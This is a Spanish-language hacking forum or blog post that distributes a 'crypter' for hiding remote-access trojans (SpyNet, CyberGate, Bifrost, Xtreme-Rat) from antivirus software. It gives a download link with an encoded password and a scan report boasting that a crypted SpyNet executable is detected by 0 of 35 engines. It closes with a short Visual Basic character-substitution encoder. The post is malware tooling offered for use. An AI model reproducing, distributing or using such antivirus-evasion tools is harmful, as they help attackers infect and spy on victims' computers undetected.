Aquí os dejo otro sencillo espero que les guste
En el video muestro solo SpyNet más también trabaja con los troyanos que se encuentran abajo.
VIDEO DEMO
CyberGate [ OK ]
Bifrost [ OK ]
Xtreme-Rat [ OK ]
S.O
Windows 7 32 [ OK ]
Windows 7 34 [ OK ]
Windows xp 3 [ OK ]
AMOSTRA DE ANÁLISIS
Pass >>> gurgtq$swg$fkuhtwvgp
Download >>> http://www.sendspace.com/file/fltvio
En el video muestro solo SpyNet más también trabaja con los troyanos que se encuentran abajo.
VIDEO DEMO
CyberGate [ OK ]
Bifrost [ OK ]
Xtreme-Rat [ OK ]
S.O
Windows 7 32 [ OK ]
Windows 7 34 [ OK ]
Windows xp 3 [ OK ]
AMOSTRA DE ANÁLISIS
Date and Time: 3/6/2013 2:12:25 PM File Name: Spynet_Crypted.exe File Size: 333426 Bytes MD5: 48df493cc66f3b88495d063c82719b17 SHA1: 40733e145b5807716db67520182e408bc2dfd58d Detection: 0 of 35 (0%) Status: CLEAN AVG Free - Clean! ArcaVir - Clean! Avast 5 - Clean! AntiVir (Avira) - Clean! BitDefender - Clean! VirusBuster Internet Security - Clean! Clam Antivirus - Clean! COMODO Internet Security - Clean! Dr.Web - Clean! eTrust-Vet - Clean! F-PROT Antivirus - Clean! F-Secure Internet Security - Clean! G Data - Clean! IKARUS Security - Clean! Kaspersky Antivirus - Clean! McAfee - Clean! MS Security Essentials - Clean! ESET NOD32 - Clean! Norman - Clean! Norton Antivirus - Clean! Panda Security - Clean! A-Squared - Clean! Quick Heal Antivirus - Clean! Solo Antivirus - Clean! Sophos - Clean! Trend Micro Internet Security - Clean! VBA32 Antivirus - Clean! Vexira Antivirus - Clean! Zoner AntiVirus - Clean! Ad-Aware - Clean! BullGuard - Clean! Immunet Antivirus - Clean! K7 Ultimate - Clean! NANO Antivirus - Clean! VIPRE - Clean! Report Generated by scanner.foromalware.com |
Pass >>> gurgtq$swg$fkuhtwvgp
Download >>> http://www.sendspace.com/file/fltvio
vb Código:
rr = "c:\Result.txt" Open rr For Output As #1 Print #1, "" Close #1 y = Len(x) t = LCase$(Left$(x, 1)) m = enc(t) For i = 2 To y tt = LCase$(Left$(x, i)) t = LCase$(Right$(tt, 1)) m = enc(t) Next i Open rr For Input As #1 Line Input #1, mm x = mm Close #1 Function enc(c) r = Asc(c) Select Case r Case 1 To 4 r = r + 60 Case 5 To 64 r = r - 4 Case 75 To 90 r = r - 10 Case 65 To 74 r = r + 16 Case 93 To 255 r = r - 2 Case 91 To 92 r = r + 163 End Select v = Chr(r) rr = "c:\Result.txt" Open rr For Input As #1 Line Input #1, e Close #1 e = e + v Open rr For Output As #1 Print #1, e; Close #1 End Function
Publicar un comentario